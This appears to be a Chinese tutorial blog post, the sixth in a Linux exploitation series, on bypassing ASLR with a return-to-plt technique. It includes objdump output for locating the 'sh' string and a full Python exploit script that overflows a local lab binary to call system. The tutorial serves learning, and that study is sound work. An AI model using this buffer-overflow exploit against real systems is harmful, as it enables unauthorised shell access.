• Linux Exploit系列之六 绕过ASLR


    绕过ASLR - 第一部分

    什么是 ASLR?

    地址空间布局随机化(ASLR)是随机化的利用缓解技术:

           堆栈地址

           堆地址

           共享库地址

    一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过NX bit的方法不会生效,因为攻击者需要知道libc基地址。但这种缓解技术并不完全是万无一失的,因此在这篇文章中我们可以看到如何绕过共享库地址随机化!

    原文地址:https://bbs.pediy.com/thread-217107.htm

    也许已经有人发现了,这个系列没有系列五……其实是五太麻烦了,限制太多,不太好写,所以就没有了,也许以后会有

    这个绕过ASLR的技巧非常有效,作者和译者也讲的非常清楚,改起来也非常清晰,唯一有点困难的地方,就是所谓的system_arg的地址的获取,这里作者说的比较模糊,第四和第五中也有同样的问题,我结合我的调试来说一下。

    其实作者在之前的exp.py中是有提到的,这里的system_arg,其实需要的是环境变量sh的字符串,也就是“sh”字符串的地址。在我们这里,使用objdump可以获得

    jourluohua@jourluohua-virtual-machine:~/work/test6$ objdump -s vuln | grep sh
    Contents of section .gnu.hash:
     8048598 03000000 01000200 2f62696e 2f736800  ......../bin/sh.
     0080 63746f72 00617267 63007368 6f727420  ctor.argc.short 
     00c0 69740073 686f7274 20696e74 0073697a  it.short int.siz
     00d0 65747970 65007368 656c6c00           etype.shell. 

    我们使用第一个地址,也就是所谓的0x8048698后边这一串。这个代表从0x8048598开始的字符串,因此“s”的地址是0x8048598+12+1=0x80485a5

    将这个地址和disassemble获得的system和exit地址都填进去,就可以获得成功了。

    老规矩,附上我的exp.py代码:

     1 #exp.py
     2 #!/usr/bin/env python
     3 import struct
     4 from subprocess import call
     5 system = 0x8048370
     6 exit = 0x8048390
     7 system_arg = 0x80485a5     #Obtained from hexdump output of e$
     8 #endianess convertion
     9 def conv(num):
    10  return struct.pack("<I",num)#ystem + exit + system_arg
    11 buf = "A" * 272
    12 buf += conv(system)
    13 buf += conv(exit)
    14 buf += conv(system_arg)
    15 print "Calling vulnerable program"
    16 call(["./vuln", buf])
  • 相关阅读:
    winform 计算器
    ajax无刷新上传图片
    Dapper的基本使用
    补充1
    Ajax2
    Ajax1
    jQuery2
    Select查询语句2
    jQuery1
    分页与组合查询
  • 原文地址:https://www.cnblogs.com/jourluohua/p/8995939.html
Copyright © 2020-2023  润新知